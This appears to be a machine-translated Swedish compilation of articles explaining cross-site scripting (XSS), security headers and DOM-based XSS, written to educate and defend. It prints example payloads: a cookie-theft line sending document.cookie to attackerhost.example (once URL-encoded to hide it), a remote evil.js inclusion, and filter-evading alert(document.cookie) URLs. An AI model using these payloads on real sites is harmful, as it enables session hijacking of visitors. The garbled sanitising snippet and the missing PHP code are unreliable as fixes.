Användningen av säkerhetsrubriker är en viktig länk för att skydda webbplatsen och dess besökare från hackerattacker. I den sista artikeln om från rubriken om skydd och säkerhet lovade jag att regelbundet publicera inlägg om detta ämne. Idag ska jag prata om skydd från XSS-attacker.
Vad är en XSS-attackCross Site Scripting är en sårbarhet som gör att en angripare kan injicera skadlig kod (vanligtvis HTML eller JavaScript) i innehållet på en webbplats. Skadlig kod exekveras i webbläsaren för användaren som tittar på den infekterade sidan på webbplatsen.
Angripare kan utnyttja olika sårbarheter. De två vanligaste typerna av attacker är:
Utlöses när en användare klickar på en speciellt förberedd länk som skickar en förfrågan till en webbplats med en sårbarhet. Denna sårbarhet är vanligtvis resultatet av otillräcklig filtrering av inkommande förfrågningar, vilket möjliggör manipulering av funktioner och aktivering av skadliga skript.
För att framgångsrikt slutföra en lagrad attack behöver en angripare bara hitta en sårbarhet på en webbplats och placera ett skadligt skript på sin server. Webbplatsen placerar sedan en tagg som laddar skriptet från en extern webbplats, till exempel i kommentarerna. När en infekterad sida laddas skickas ett skadligt skript till användarens webbläsare varje gång.
X-XSS-Protection-rubriken är avsedd att aktivera skriptfiltret på flera platser som är inbyggt i alla moderna webbläsare. Det gör det till exempel möjligt att förhindra exekvering av en tagg i Sidans URL.
Rapportdirektivet för att skicka rapporter fungerar på samma sätt som report-uri (eller report-to) Content Security Policy (CSP)-direktivet, och instruerar användarens webbläsare att rapportera försök att bryta mot innehållssäkerhetspolicyn. Jag kommer att prata om detta i en separat artikel.
Överträdelserapporten genereras i JSON-format och skickas som POST-begäranden till den angivna webbadressen.
För att återgå till huvudämnet rekommenderar jag att du konfigurerar servern på ett sådant sätt att HTTP-huvudet inkluderar filtrering och blockerar laddningen av en sida med osäkert innehåll under en XSS-attack. I den extra konfigurationsfilen .htaccess (eller httpd.conf om du har full åtkomst till servern) för Apache-webbservern måste du lägga till följande post:
Header set X-XSS-Protection "1; mode=block"För Nginx-servern, lägg till följande post i filen nginx.conf i HTTP-sektionen:
Add_header X-XSS-Protection "1; mode=block" ;
I händelse av att tillgång till konfigurationsfiler det finns ingen server, men det finns PHP-stöd använd sedan funktionen:
Cross Site Scripting, även känd som XSS, är ett sätt att injicera skadlig kod som körs på klientsidan. Användaren kan märka något fel, till exempel ovanligt sidbeteende, ibland utförs attacken helt obemärkt i bakgrunden.
Jag hoppas att du nu förstår lite mer om HTTP-serverhuvuden och X-XSS kommer att hjälpa till att förhindra cross site scripting. Jag använder säkerhetsrubriker på alla mina sajter och jag rekommenderar starkt att du gör detsamma. Tillsammans kan vi göra internet säkrare! 😉
Vad är en XSS-sårbarhet? Ska hon vara rädd?
Cross-site scripting (XSS för kort) är en utbredd sårbarhet som påverkar många webbapplikationer. Det tillåter en angripare att injicera skadlig kod på en webbplats på ett sådant sätt att webbläsaren för användaren som besöker webbplatsen kör denna kod.
Att utnyttja en sådan sårbarhet kräver vanligtvis någon form av interaktion med användaren: antingen lockas de till den infekterade webbplatsen med hjälp av social ingenjörskonst, eller så väntar de helt enkelt tills användaren själv besöker den här webbplatsen. Därför tar utvecklare ofta inte XSS-sårbarheter på allvar. Men om de inte elimineras kan detta utgöra en allvarlig säkerhetsrisk.
Låt oss föreställa oss att vi är i WordPress adminpanel och lägger till nytt innehåll. Om vi använder ett XSS-sårbart plugin för att göra detta, kan det tvinga webbläsaren att skapa en ny administratör, ändra innehåll och utföra andra skadliga åtgärder.
Cross-site scripting ger en angripare nästan fullständig kontroll över det viktigaste programvara nuförtiden är det en webbläsare.
XSS: Injection VulnerabilityVarje webbplats eller applikation har flera datainmatningspunkter - formulärfält upp till själva URL:en. Det enklaste exemplet på inmatning är när vi anger ett användarnamn och lösenord i ett formulär:
Figur 1. Datainmatningsformulär
Vårt namn kommer att lagras i webbplatsens databas för efterföljande interaktion med oss. Visst, när du var auktoriserad på någon sida, såg du en personlig hälsning i stil med "Välkommen, Ilya." Det är för sådana ändamål som användarnamn lagras i databasen.
En injektion är en procedur när en speciell sekvens av tecken skrivs in istället för ett namn eller lösenord, vilket tvingar servern eller webbläsaren att svara på ett visst sätt som angriparen behöver.
Cross-site scripting är en injektion som injicerar kod som kommer att utföra åtgärder i webbläsaren på uppdrag av en webbplats. Detta kan ske både med användarens meddelande och i bakgrunden, utan dennes vetskap.
Figur 2. Visuellt diagram av cross-site scripting
Det enklaste exemplet är ett enkelt skript som visar ett meddelandefönster. Det ser ut ungefär så här:
Tabell 1. Skript som anropar popup-fönstret
alert(" DETTA ÄR XSS SÅRBARHET !!!")
Detta skript kallar fram ett fönster med inskriptionen "THIS IS XSS VULNERABILITY!!!". Användarens webbläsare accepterar och kör detta skript som en del av webbplatsens legitima kod.
Typer av XSS-sårbarheterAlla XSS-sårbarheter är inte lika, det finns många typer. Här är typerna och hur de interagerar:
Figur 3. Typer av XSS-sårbarheter
Sårbarheter orsakade av kod på serversidan (Java, PHP, .NET, etc.):
Traditionella XSS-attacker:
Sårbarheter orsakade av kod på klientsidan (JavaScript, Visual Basic, Flash, etc.):
Även känd som DOM-modeller:
Sårbarheter orsakade av infrastruktur (webbläsare, plugins, servrar, etc.):
De är mycket sällsynta, men är farligare:
Sårbarheter orsakade av användaren:
Hur kan du skydda din webbplats från XSS? Hur kontrollerar man koden för en sårbarhet? Det finns teknologier som Sucuri Firewall som är speciellt utformade för att undvika sådana attacker. Men om du är en utvecklare kommer du definitivt att vilja lära dig mer om hur du identifierar och fixar XSS-sårbarheter. Vi kommer att prata om detta i nästa del av artikeln som ägnas åt XSS.
Cross-Site Scripting eller XSS. Cross-site scripting (cross-site scripting).
Närvaron av sårbarheten Cross-site Scripting tillåter en angripare att skicka körbar kod till servern, som kommer att omdirigeras till användarens webbläsare. Denna kod genereras vanligtvis i HTML-språk/JavaScript , men VBScript, ActiveX, Java, Flash eller annan webbläsarstödd teknik kan användas.
Den skickade koden exekveras i säkerhetskontexten (eller säkerhetszonen) för den berörda servern. Genom att använda dessa privilegier kan koden läsa, ändra eller överföra känsliga data som är tillgängliga via webbläsaren. Den attackerade användarens konto kan äventyras (cookiestöld), hans webbläsare kan omdirigeras till en annan server eller innehållet på servern kan vara förfalskat. Som ett resultat av en noggrant planerad attack kan en angripare använda offrets webbläsare för att se sidorna på webbplatsen på uppdrag av den attackerade användaren. Koden kan skickas av en angripare i URL:en , i rubrikerna Metoder och struktur för HTTP-förfrågningsprotokollet (Cookie , user-agent, referer), formulärfältsvärden, etc.
Det finns tre typer av cross-site scripting-attacker: icke-persistent icke-persistent (reflekterad), persistent persistent (sparad) och DOM-baserad. Huvudskillnaden mellan persistent och icke-persistent är att i den reflekterade versionen utförs överföringen av kod till servern och dess retur till klienten inom samma HTTP-begäran, medan i den lagrade, i olika.
Att implementera en icke-beständig attack kräver att användaren följer en länk som genereras av angriparen (länken kan skickas via e-post, ICQ, etc.). Under laddningen av webbplatsen kommer koden som är inbäddad i URL- eller begäranshuvuden att skickas till klienten och exekveras i hans webbläsare.
En lagrad version av sårbarheten uppstår när koden överförs till servern och lagras på den under en viss tid. De mest populära målen för attacker i det här fallet är forum, webbaserad e-post och chattrum. För en attack behöver användaren inte följa länken, det räcker med att besöka den sårbara webbplatsen.
Exempel. Sparad (beständig) version av attacken. Många webbplatser har anslagstavlor och forum som tillåter användare att göra inlägg. En registrerad användare identifieras vanligtvis med ett nummer
session lagrad i en cookie. Om en angripare lämnar ett meddelande som innehåller en kod för JavaScript, kommer den att ha åtkomst till användarens sessions-ID. Kodexempel för att skicka cookies:
document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie
Exempel. Reflekterad (icke-beständig) version av attacken. Många servrar ger användarna möjlighet att söka i innehållet på servern. Vanligtvis skickas begäran i en URL och finns på den resulterande sidan.
Till exempel, när du besöker webbadressen http://portal.example/search?q= ”färsk öl”, kommer användaren att visas en sida som innehåller sökresultaten och frasen: ”0 sidor hittades för din fråga färsk öl” . Om Javascript skickas som sökfras kommer det att köras i användarens webbläsare. Exempel:
http://portal.example/search/?q=alert("xss")
URLEncode-kodning kan användas för att dölja skriptkod
http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74% 2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65% 72%68%6F%73%74%2E%65%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F% 6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63% 6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E
Flanagan David JavaScriptUtdrag från Flanagan David JavaScript Komplett guide 5 upplaga.
Termen cross-site scripting, eller XSS, hänvisar till området för datorsårbarhet när en angripare injicerar HTML-taggar eller skript i dokument på en sårbar webbplats. Skydd mot XSS-attacker är vanligt för webbutvecklare på serversidan. Men programmerare Utvecklare av JavaScript-skript på klientsidan bör också vara medvetna om XSS-attacker och vidta åtgärder för att skydda mot dem.
En webbsida anses vara sårbar för XSS-attacker om den dynamiskt genererar dokumentinnehåll baserat på användarinmatning som inte har förbehandlats för att ta bort inline HTML-kod. Som ett trivialt exempel, överväg följande webbsida, som använder ett JavaScript-skript för att hälsa en användare med namn:
var name = decodeURIComponent(window.location.search.substring(6)) || ""; document.write("Hej " + namn);
Den andra raden i skriptet anropar metoden window.location.search.substring, som hämtar delen adressfält, börjar med symbolen ?. Sedan läggs det dynamiskt genererade innehållet till i dokumentet med metoden document.write(). Detta scenario förutsätter att webbsidan kommer att nås med något liknande URL-adress:
http://www.example.com/greet.html?namn=David
I det här fallet kommer texten "Hej David" att visas. Men vad händer om sidan begärs med följande URL:
http://www.example.com/greet.html?name=%3Cscript%3Ealert("David")%3C/script%3E
Med detta URL-innehåll kommer skriptet dynamiskt att generera ett annat skript (%3C- och %3E-koderna är vinkelparenteser)! I det här fallet det infogade skriptet visar bara en dialogruta, vilket inte är farligt. Men föreställ dig det här fallet:
http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E
Cross-site scripting kallas så eftersom mer än en webbplats är inblandad i attacken. Webbplats B (eller till och med webbplats C) innehåller en speciellt konstruerad länk (liknande den som just visades) till webbplats A, som innehåller skriptet från webbplats B. evil.js-skriptet finns på angriparens webbplats B, men nu skriptet injiceras på webbplats A och kan göra vad den vill med innehållet på webbplats A. Det kan radera en sida eller orsaka andra störningar på webbplatsen (som en denial of service, som diskuteras i nästa avsnitt). Detta skulle kunna påverka besökare på webbplats A negativt. Mycket farligare, ett sådant skadligt skript kan läsa innehållet i cookies som lagras på webbplats A (möjligen innehållande kontonummer eller annan personlig information) och skicka tillbaka dessa data till webbplats B. Det injicerade skriptet kan spåra även tangenttryckningar och skicka dessa data till webbplats B.
Det universella sättet att förhindra XSS-attacker är att HTML-borttagning taggar från all data av tvivelaktig härkomst innan de används för att dynamiskt generera dokumentinnehåll. För att åtgärda det här problemet i filen greet.html som visades tidigare, lägg till följande rad i skriptet för att ta bort vinkelparenteserna som omger taggen:
Namn = name.replace(//g, ">");
Cross-site scripting är en sårbarhet som är djupt rotad i arkitekturen world wide web. Djupet av denna sårbarhet måste erkännas.
Vi vet alla vad cross-site scripting är, eller hur? Detta är en sårbarhet där en angripare skickar skadlig data (vanligtvis HTML som innehåller Javascript-kod) som senare returneras av programmet, vilket gör att Javascript-koden exekveras. Så detta är inte sant! Det finns en typ av XSS-attack som inte passar in i denna definition, åtminstone i de grundläggande principerna. XSS-attacker, enligt definitionen ovan, delas upp i omedelbar (skadlig data är inbäddad i en sida som returneras till webbläsaren direkt efter begäran) och fördröjd (skadlig data returneras efter en tid). Men det finns en tredje typ av XSS-attack som inte är baserad på att skicka skadlig data till servern. Även om det verkar kontraintuitivt finns det två väldokumenterade exempel på en sådan attack. Den här artikeln beskriver den tredje typen av XSS-attacker - XSS genom DOM (DOM Based XSS). Inget fundamentalt nytt om attacken kommer att skrivas här, utan snarare innovationen av detta material för att lyfta fram attackens särdrag, som är mycket viktiga och intressanta.
Utvecklare och användare av applikationsapplikationer bör förstå principerna för XSS-attack genom DOM, eftersom det utgör ett hot mot webbapplikationer och skiljer sig från vanliga XSS. Det finns många webbapplikationer på Internet som är sårbara för XSS genom DOM och samtidigt testade för XSS och visat sig vara "immuna" mot denna typ av attack. Utvecklare och webbplatsadministratörer bör bekanta sig med metoder för att upptäcka och skydda mot XSS genom DOM, eftersom dessa tekniker skiljer sig från de som används vid hantering av vanliga XSS-sårbarheter.
IntroduktionLäsaren bör vara bekant med de grundläggande principerna för XSS-attacker (, , , , ). XSS hänvisar vanligtvis till omedelbar () och fördröjd cross-site scripting. Med instant XSS returneras skadlig kod (Javascript) av den attackerade servern omedelbart som ett svar på en HTTP-förfrågan. Fördröjd XSS innebär att den skadliga koden lagras på det attackerade systemet och senare kan injiceras i HTML-sida sårbart system. Som nämnts ovan antar denna klassificering att en grundläggande egenskap hos XSS är att skadlig kod skickas från webbläsaren till servern och returneras till samma webbläsare (omedelbar XSS) eller någon annan webbläsare (fördröjd XSS). Denna artikel tar upp frågan att detta är en felaktig klassificering. Möjligheten för en XSS-attack som inte förlitar sig på att injicera kod på sidan som returneras av servern skulle ha stor inverkan på skydds- och detekteringsmetoderna. Principerna för sådana attacker diskuteras i den här artikeln.
Exempel och kommentarerInnan det enklaste attackscenariot beskrivs är det viktigt att betona att metoderna som beskrivs här redan har demonstrerats offentligt upprepade gånger (till exempel , och ). Jag påstår inte att metoderna nedan beskrivs för första gången (även om vissa av dem skiljer sig från tidigare publicerat material).
En indikation på en sårbar webbplats är närvaron av en HTML-sida som använder data från document.location, document.URL eller document.referrer (eller andra objekt som en angripare kan påverka) på ett osäkert sätt.
Anmärkning för läsare som inte känner till dessa Javascript-objekt: När Javascript-kod exekveras i webbläsaren kommer den åt flera objekt representerade inom DOM (Document Object Model - Objektmodell dokumentera). Dokumentobjektet är det viktigaste av dessa objekt och ger tillgång till de flesta av sidans egenskaper. Det här objektet innehåller många kapslade objekt som plats, URL och referens. De hanteras av webbläsaren enligt webbläsarens synvinkel (detta är ganska betydande, som kommer att ses nedan). Så document.URL och document.location innehåller webbadressen till sidan, eller snarare vad webbläsaren menar med URL. Observera att dessa objekt inte är hämtade från HTML-sidans brödtext. Dokumentobjektet innehåller ett body-objekt som innehåller den analyserade HTML-koden för sidan.
Det är inte svårt att hitta en HTML-sida som innehåller Javascript-kod som analyserar en URL-sträng (efter att ha nått den via document.URL eller document.location) och som utför någon åtgärd på klientsidan baserat på dess värde. Nedan finns ett exempel på sådan kod.
I analogi med exemplet i c, överväg följande HTML-sida (förutsatt att innehållet är http://www.vulnerable.site/welcome.html ):
Välkommen! Hej var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Välkommen till vårt system...
Men en fråga som denna -
http://www.vulnerable.site/welcome.html?name=alert(document.cookie)
skulle ringa XSS. Låt oss se varför: offrets webbläsare, som fick den här länken, skickar en HTTP-förfrågan till www.vulnerable.site och tar emot ovanstående (statiska!) HTML-sida. Offrets webbläsare börjar analysera denna HTML-kod. DOM innehåller ett dokumentobjekt som har ett URL-fält, och detta fält är fyllt med värdet Aktuell URL sidor under DOM-skapandet. När parsern når Javascript-koden kör den den, vilket gör att HTML-koden för den renderade sidan ändras. I det här fallet hänvisar koden till document.URL, och eftersom en del av denna sträng är inbäddad i HTML-koden under analysen, som omedelbart tolkas, exekveras den detekterade koden (alert(...)) i sammanhanget för samma sida.
Anmärkningar:
1. Skadlig kod är inte inbäddad i HTML-sidan (till skillnad från andra former av XSS).
2. Denna exploatering kommer att fungera så länge webbläsaren inte ändrar URL-tecken. Mozilla kodar automatiskt tecknen '' (i %3C respektive %3E) i kapslade dokumentobjekt. Om webbadressen skrevs direkt i adressfältet är den webbläsaren immun mot attacken som beskrivs i det här exemplet. Men om tecknen '' (i sin ursprungliga okodade form) inte behövs för attacken, kan attacken utföras. Microsoft Internet Explorer 6.0 kodar inte '' och är därför sårbar för den beskrivna attacken utan några begränsningar. Det finns dock många olika attackscenarier som inte kräver '', och därför är inte ens Mozilla immun mot denna attack.
I exemplet ovan skickas den skadliga koden fortfarande till servern (som en del av HTTP-begäran), så attacken kan upptäckas precis som alla andra XSS-attacker. Men detta är ett lösbart problem.
Tänk på följande exempel:
http://www.vulnerable.site/welcome.html#name=alert(document.cookie)
Notera symbolen '#' till höger om filnamnet. Det talar om för webbläsaren att allt efter den karaktären inte är en del av begäran. Microsoft Internet Explorer (6.0) och Mozilla skickar inte fragmentet efter '#'-tecknet till servern, så för servern kommer denna begäran att motsvara http://www.vulnerable.site/welcome.html, dvs. skadlig kod kommer inte ens att märkas av servern. Således, tack vare denna teknik, skickar webbläsaren inte en skadlig nyttolast till servern.
Men i vissa fall är det inte möjligt att dölja nyttolasten: in och den skadliga nyttolasten är en del av användarnamnet i en URL som http:// [e-postskyddad]/. I det här fallet skickar webbläsaren en begäran med en auktoriseringshuvud som innehåller användarnamnet (skadlig nyttolast), vilket gör att den skadliga koden når servern (kodad med Base64 - så IDS/IPS måste först avkoda denna data för att upptäcka en attack). Servern behöver dock inte bädda in denna nyttolast i någon av de tillgängliga HTML-sidorna, även om den är det nödvändigt tillstånd utför en XSS-attack.
Uppenbarligen, i situationer där nyttolasten kan döljas helt, kan detektionsverktyg (IPS) och förebyggande verktyg (IPS, brandväggar för webbapplikationer) inte helt skydda mot denna attack. Även om nyttolasten behöver skickas till servern kan den i många fall transformeras på något sätt för att undvika upptäckt. Till exempel, om någon parameter är skyddad (till exempel namnparametern i exemplet ovan), kan en liten förändring i attackskriptet resultera i:
(document.cookie)
En striktare säkerhetspolicy skulle kräva att namnparametern skickas. I det här fallet kan du göra följande begäran:
http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe
Om säkerhetspolicyn begränsar ytterligare parameternamn (till exempel: foobar), kan du använda följande alternativ:
http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe
Observera att den ignorerade parametern (foobar) måste komma först och innehålla nyttolasten i sitt värde.
Attackscenariot som beskrivs i , är ännu mer att föredra för angriparen, eftersom hela värdet av document.location skrivs in i HTML-sidan (Javascript-koden söker inte efter ett specifikt parameternamn). Således kan en angripare helt dölja nyttolasten genom att skicka följande:
/attachment.cgi?id=&action=foobar#alert(document.cookie)
Även om nyttolasten tolkas av servern kan skydd endast garanteras om begäran nekas eller svaret ersätts med någon feltext. Med hänvisning igen till och : om Auktoriseringshuvudet helt enkelt tas bort av det mellanliggande säkerhetssystemet, kommer det inte att ha någon effekt om den ursprungliga sidan returneras. Likaså kommer alla försök att behandla data på servern, genom att ta bort eller koda olagliga tecken, vara ineffektiva mot denna attack.
När det gäller document.referrer skickas nyttolasten till servern via referenshuvudet. Men om användarens webbläsare eller mellanskydd tar bort denna rubrik kommer det inte att finnas några spår av en attack som kan gå helt obemärkt förbi.
Sammanfattningsvis drar vi slutsatsen att traditionella metoder, nämligen
1. Kodning HTML-data serversidan
2. Att ta bort/koda förbjudna ingångar på serversidan fungerar inte mot DOM XSS.
Automatisk upptäckt av sårbarheter genom att bombardera med skadlig data (ibland kallad fuzzing) kommer inte att fungera eftersom program som använder den här tekniken vanligtvis sluter sig till huruvida den inbäddade informationen finns på den returnerade sidan (istället för att köra kod i webbläsarens sammanhang på klientsidan och övervaka resultaten). Men om programmet statiskt kan analysera Javascript-koden som finns på sidan, kan det indikera misstänkta tecken (se nedan). Och naturligtvis, om säkerhetsverktygen kan exekvera Javascript-kod (och korrekt initiera DOM-objekt) eller emulera sådan exekvering, kommer de att kunna upptäcka denna attack.
Att manuellt söka efter sårbarheten med en webbläsare kommer också att fungera, eftersom webbläsaren kan köra Javascript-kod på klientsidan. Sårbarhetssökare kan dra fördel av denna teknik och exekvera kod på klientsidan för att övervaka resultaten av dess exekvering.
Effektivt skydd
Undvik omskrivningar av dokument på klientsidan, omdirigeringar eller liknande åtgärder som använder klientdata. De flesta av dessa åtgärder kan göras med hjälp av dynamiska sidor(på serversidan).
2.
Analys och förbättring av kodsäkerhet (Javascript) på klientsidan. Referenser till DOM-objekt som kan påverkas av användaren (angriparen) måste kontrolleras noggrant. Särskild uppmärksamhet bör ägnas åt följande objekt (men inte begränsat till):
*document.URL
*document.URLUkodad
* document.location (och dess egenskaper)
*document.referrer
* window.location (och dess egenskaper)
Observera att egenskaperna för dokumentet och fönsterobjekten kan refereras på flera sätt: explicit (exempel är window.location), implicit (exempel är plats), eller genom att få ett handtag och använda det (exempel är handle_to_some_window.location).
Särskild uppmärksamhet bör ägnas åt kod där DOM ändras, antingen explicit eller potentiellt, och genom direkt åtkomst till HTML eller genom åtkomst direkt till DOM. Exempel (detta är inte på något sätt en uttömmande lista):
* Ange i HTML-koden för sidan:
o document.write(...)
o document.writeln(...)
o document.body.innerHtml=...
* Ändra DOM direkt (inklusive DHTML-händelser):
o document.forms.action=... (och andra varianter)
document.attachEvent(...)
o document.create...(...)
document.execCommand(...)
o document.body. ... (åtkomst till DOM via body-objektet)
window.attachEvent(...)
* Ändra dokumentets URL:
o document.location=... (samt inställning av href-, host- och hostname-värdena för platsobjektet)
document.location.hostname=...
o document.location.replace(...)
document.location.assign(...)
document.URL=...
window.navigate(...)
* Öppna/ändra fönsterobjektet:
o document.open(...)
window.open(…)
o window.location.href=... (samt inställning av värd och värdnamn för platsobjektet)
* Exekvera skriptet direkt:
eval (…)
window.execScript(...)
window.setInterval(...)
window.setTimeout(...)
